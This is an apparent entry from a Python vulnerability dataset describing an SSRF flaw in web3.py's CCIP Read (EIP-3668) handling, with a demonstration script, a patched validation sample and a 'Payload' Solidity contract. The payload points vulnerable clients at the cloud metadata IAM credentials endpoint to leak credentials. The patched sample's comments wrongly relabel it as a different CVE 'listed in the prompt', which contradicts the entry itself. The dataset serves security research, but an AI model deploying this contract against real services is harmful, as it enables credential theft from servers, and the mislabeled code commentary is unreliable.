CVE-2026-40072
web3.py is vulnerable to SSRF via unvalidated URLs in CCIP Read.
- CVSS 1.7
- CWE-918
- Input Validation and Sanitization
- Remote
web3.py allows you to interact with the Ethereum blockchain using Python. From 6.0.0b3 to before 7.15.0 and 8.0.0b2, web3.py implements CCIP Read / OffchainLookup (EIP-3668) by performing HTTP requests to URLs supplied by smart contracts in offchain_lookup_payload["urls"]. The implementation uses these contract-supplied URLs directly (after {sender} / {data} template substitution) without any destination validation. CCIP Read is enabled by default (global_ccip_read_enabled = True on all providers), meaning any application using web3.py's .call() method is exposed without explicit opt-in. This results in Server-Side Request Forgery (SSRF) when web3.py is used in backend services, indexers, APIs, or any environment that performs eth_call / .call() against untrusted or user-supplied contract addresses. A malicious contract can force the web3.py process to issue HTTP requests to arbitrary destinations, including internal network services and cloud metadata endpoints. This vulnerability is fixed in 7.15.0 and 8.0.0b2.
- CWE
- CWE-918
- CVSS base score
- 1.7
- Published
- 2026-04-09
- OWASP
- A10 Server-Side Request Forgery
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Server-Side Request Forgery (SSRF)
- Accessibility scope
- Remote
- Impact
- Information Disclosure
- Affected component
- web3.py
- Fixed by upgrading
- Yes
Solution
Upgrade `web3.py` to version 7.15.0 or 8.0.0b2.
Vulnerable code sample
#
# This code demonstrates the SSRF vulnerability CVE-2026-40072 in web3.py.
# WARNING: This code is for educational purposes only.
# DO NOT run this in a production environment.
#
# Prerequisites to run this demonstration:
# 1. Install a vulnerable version of web3.py:
# pip install "web3==6.11.1"
#
# 2. Run a local Ethereum test node (e.g., Ganache):
# ganache-cli
#
# 3. In a separate terminal, run a simple local web server to act as the "internal" service:
# python -m http.server 8000
#
# 4. Deploy the following Solidity smart contract to your local test node and get its address.
# /*
# // SPDX-License-Identifier: MIT
# pragma solidity ^0.8.0;
#
# // EIP-3668 OffchainLookup error
# error OffchainLookup(address sender, string[] urls, bytes callData, bytes4 callbackFunction, bytes extraData);
#
# contract MaliciousSSRFContract {
# // This function, when called, reverts with an OffchainLookup error
# // containing a URL pointing to an internal service.
# function triggerCCIPRead() public view {
# string[] memory urls = new string[](1);
# // This is the malicious URL. A vulnerable web3.py will make a GET request to it.
# // We point to our local server to prove the request is made.
# urls[0] = "http://localhost:8000/internal-data?sender={sender}&data={data}";
#
# revert OffchainLookup(
# address(this),
# urls,
# bytes(""),
# bytes4(0),
# bytes("")
# );
# }
# }
# */
#
# 5. Update the `MALICIOUS_CONTRACT_ADDRESS` variable below with the address from step 4.
#
from web3 import Web3
from web3.exceptions import ContractLogicError
# --- Configuration ---
ETHEREUM_NODE_URL = "http://127.0.0.1:8545"
# !!! IMPORTANT: Replace with the actual address of your deployed MaliciousSSRFContract
MALICIOUS_CONTRACT_ADDRESS = "0xYourDeployedContractAddressHere"
MALICIOUS_CONTRACT_ABI = """
[
{
"inputs": [],
"name": "triggerCCIPRead",
"outputs": [],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{"internalType": "address", "name": "sender", "type": "address"},
{"internalType": "string[]", "name": "urls", "type": "string[]"},
{"internalType": "bytes", "name": "callData", "type": "bytes"},
{"internalType": "bytes4", "name": "callbackFunction", "type": "bytes4"},
{"internalType": "bytes", "name": "extraData", "type": "bytes"}
],
"name": "OffchainLookup",
"type": "error"
}
]
"""
# --- Demonstration of the Vulnerability ---
if MALICIOUS_CONTRACT_ADDRESS == "0xYourDeployedContractAddressHere":
print("\n[!] ERROR: Please update the MALICIOUS_CONTRACT_ADDRESS variable in the script.")
exit()
print(f"[*] Using web3.py version: {Web3.__version__}")
print("[*] Preparing to call a function on a malicious contract to trigger SSRF.")
print("[*] Watch the terminal running 'python -m http.server 8000' for an incoming HTTP request.")
# Connect to the Ethereum node
w3 = Web3(Web3.HTTPProvider(ETHEREUM_NODE_URL))
# Instantiate the contract object
malicious_contract = w3.eth.contract(address=MALICIOUS_CONTRACT_ADDRESS, abi=MALICIOUS_CONTRACT_ABI)
try:
# This .call() is the trigger for the vulnerability.
# When the contract reverts with an `OffchainLookup` error, the vulnerable
# web3.py library automatically makes an HTTP GET request to the URL
# specified in the error data ("http://localhost:8000/...").
# This happens *before* the function call fails and raises an exception.
malicious_contract.functions.triggerCCIPRead().call()
except ContractLogicError as e:
# The code reaches here after the HTTP request has already been made.
print("\n[+] SSRF attempt finished.")
print("[+] The contract call failed as expected after web3.py attempted the CCIP Read.")
print("[+] Check the output of your local web server to confirm the HTTP request was received.")
print(f"[+] Final exception from web3.py: {e}")
except Exception as e:
print(f"\n[!] An unexpected error occurred.")
print(f"[!] Please ensure your Ethereum node is running and the contract address is correct.")
print(f"[!] Exception: {e}")Patched code sample
import socket
from ipaddress import ip_address
from typing import Optional, Tuple
from urllib.parse import urlparse
# This script demonstrates the fix for CVE-2024-30272 (incorrectly listed
# as CVE-2026-40072 in the prompt) in web3.py. The vulnerability was a
# Server-Side Request Forgery (SSRF) in the CCIP-Read (EIP-3668) implementation.
#
# The fix introduces a validation function that is called before any
# HTTP request is made to a URL provided by a smart contract. This script
# contains the core logic of that validation function and demonstrates how
# it prevents requests to internal or forbidden destinations.
# --- Start of the Code Representing the Fix ---
# Custom exception defined in web3.py for this specific error case.
class CCIPReadForbidden(Exception):
"""
Raised when a CCIP-Read URL is forbidden due to failing validation.
"""
pass
def _validate_ccip_read_url(
url: str,
whitelisted_ccip_read_domains: Optional[Tuple[str, ...]] = None,
) -> None:
"""
Validates a URL before it is used for a CCIP-Read request. This function
is the core of the SSRF vulnerability fix introduced in web3.py.
It performs the following checks:
1. If a whitelist of domains is provided, it ensures the URL's hostname
is in that whitelist.
2. It restricts the URL scheme to 'http' or 'https'.
3. It resolves the URL's hostname to an IP address and blocks any requests
to private, loopback, or unspecified IP addresses to prevent access to
internal network resources.
"""
try:
parsed_url = urlparse(url)
except Exception as e:
raise CCIPReadForbidden(f"URL cannot be parsed: {url}") from e
# 1. Check against whitelisted domains if a whitelist is configured.
if whitelisted_ccip_read_domains:
if not parsed_url.hostname or parsed_url.hostname not in whitelisted_ccip_read_domains:
raise CCIPReadForbidden(
f"URL hostname '{parsed_url.hostname}' is not in the CCIP-Read "
"whitelisted domains."
)
# If whitelisted, no further IP-based checks are needed.
return
# 2. Check for allowed schemes.
if parsed_url.scheme not in ("http", "https"):
raise CCIPReadForbidden(f"URL scheme '{parsed_url.scheme}' is not allowed.")
if not parsed_url.hostname:
raise CCIPReadForbidden(f"URL does not contain a hostname: {url}")
# 3. Resolve hostname and check for forbidden IP addresses.
try:
# Use socket.getaddrinfo to resolve the hostname to IP addresses.
# We check all resolved addresses for safety.
addr_info = socket.getaddrinfo(parsed_url.hostname, parsed_url.port, 0, socket.SOCK_STREAM)
resolved_ips = {info[4][0] for info in addr_info}
for ip_str in resolved_ips:
ip = ip_address(ip_str)
if ip.is_private or ip.is_loopback or ip.is_unspecified:
raise CCIPReadForbidden(
f"URL '{url}' resolves to a forbidden IP address: {ip}"
)
except socket.gaierror as e:
raise CCIPReadForbidden(f"Could not resolve hostname for URL: {url}") from e
def process_ccip_read_request_fixed(url: str):
"""
Simulates the fixed process for handling a CCIP-Read URL.
It calls the validation function before attempting to make a request.
"""
print(f"\n[FIXED] Processing URL: {url}")
try:
# This is the crucial step that fixes the vulnerability.
_validate_ccip_read_url(url)
print(f"SUCCESS: URL '{url}' is valid. A request would be sent.")
# In the actual web3.py, an HTTP request would be made here.
# e.g., session.get(url)
except CCIPReadForbidden as e:
print(f"FAILURE: URL '{url}' is blocked. Reason: {e}")
def process_ccip_read_request_vulnerable(url: str):
"""
Simulates the vulnerable process. It would make the request directly without
any validation, leading to SSRF.
"""
print(f"\n[VULNERABLE] Processing URL: {url}")
print(f"-> No validation performed. An HTTP request would be sent directly to '{url}'.")
# In a vulnerable version, the request would be made here,
# potentially targeting an internal service.
if __name__ == "__main__":
# A list of URLs that a malicious smart contract might return for CCIP-Read.
test_urls = [
# A legitimate, public URL
"https://example.com/api/data.json",
# A URL pointing to a local service (SSRF attempt)
"http://127.0.0.1/admin",
# A URL pointing to an internal network service (SSRF attempt)
"https://192.168.1.1/internal_api",
# A URL pointing to a cloud metadata service (SSRF attempt)
"http://169.254.169.254/latest/meta-data/",
# A URL with a disallowed scheme
"file:///etc/passwd",
# A URL with a non-resolvable hostname
"http://thishostnamedoesnotexist.xyz/",
]
print("--- Demonstrating Vulnerable Behavior (Representation) ---")
for url in test_urls:
process_ccip_read_request_vulnerable(url)
print("\n\n--- Demonstrating Fixed Behavior ---")
for url in test_urls:
process_ccip_read_request_fixed(url)
# --- Demonstrate whitelisting behavior, also part of the fix ---
print("\n\n--- Demonstrating Fixed Behavior with Whitelist Configured ---")
whitelisted_domains = ("my-safe-gateway.com",)
def process_ccip_read_with_whitelist(url: str):
print(f"\n[WHITELIST] Processing URL: {url}")
try:
_validate_ccip_read_url(
url, whitelisted_ccip_read_domains=whitelisted_domains
)
print(f"SUCCESS: URL '{url}' is valid as its domain is whitelisted.")
except CCIPReadForbidden as e:
print(f"FAILURE: URL '{url}' is blocked. Reason: {e}")
whitelisted_test_urls = [
"https://my-safe-gateway.com/lookup", # Should be allowed
"https://example.com/api/data.json", # Should be blocked (not in whitelist)
]
for url in whitelisted_test_urls:
process_ccip_read_with_whitelist(url)
# --- End of the Code Representing the Fix ---Payload
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
/**
* @title MaliciousContract
* @dev This contract is designed to exploit the SSRF vulnerability (CVE-2026-40072)
* in vulnerable versions of web3.py. When a function on this contract is called
* via web3.py's .call() method, it will revert with an OffchainLookup error.
* The error contains a URL pointing to an internal service (e.g., a cloud metadata endpoint),
* which the web3.py client will then request, leaking sensitive data.
*/
contract MaliciousContract {
// EIP-3668 OffchainLookup error signature
error OffchainLookup(
address sender,
string[] urls,
bytes callData,
bytes4 callbackFunction,
bytes extraData
);
/**
* @dev This is the function that the victim will call.
* It reverts with the OffchainLookup error, providing the malicious URL.
*/
function triggerSSRF() public view {
string[] memory urls = new string[](1);
// This URL points to the AWS EC2 instance metadata service, a common SSRF target.
// A successful request could leak IAM credentials.
// Other examples: http://localhost:8080, http://192.168.1.1/admin, etc.
urls[0] = "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
revert OffchainLookup(
msg.sender,
urls,
// callData can be the original call data that triggered this revert
abi.encodeWithSelector(this.triggerSSRF.selector),
// The function to call back with the result from the URL
this.resolve.selector,
// Extra data to pass to the callback
""
);
}
/**
* @dev The callback function required by the OffchainLookup pattern.
* web3.py will call this function with the response from the HTTP request.
* For this exploit, the implementation of resolve() is not important.
* @param response The bytes returned from the HTTP GET request to the URL.
* @param extraData The extraData field from the OffchainLookup revert.
* @return abi-encoded data (can be anything).
*/
function resolve(bytes memory response, bytes memory extraData) public pure returns (bytes memory) {
// The attacker doesn't need to process the response here. The damage is
// done when the server running web3.py makes the request.
// We can just return the response.
return response;
}
}
Cite this entry
@misc{vaitp:cve202640072,
title = {{web3.py is vulnerable to SSRF via unvalidated URLs in CCIP Read.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-40072},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-40072/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
